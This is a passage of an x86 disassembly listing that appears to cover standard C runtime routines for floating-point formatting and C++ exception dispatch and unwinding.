		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB340, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB33C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB344, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB33C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB344, ecx
		setl	cl
		mov	byte_4DB348, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB344, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB340, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB340, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB340, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB340, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB34C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB350
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB354, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB34C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB350
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB34C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB350, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB34C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB350, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
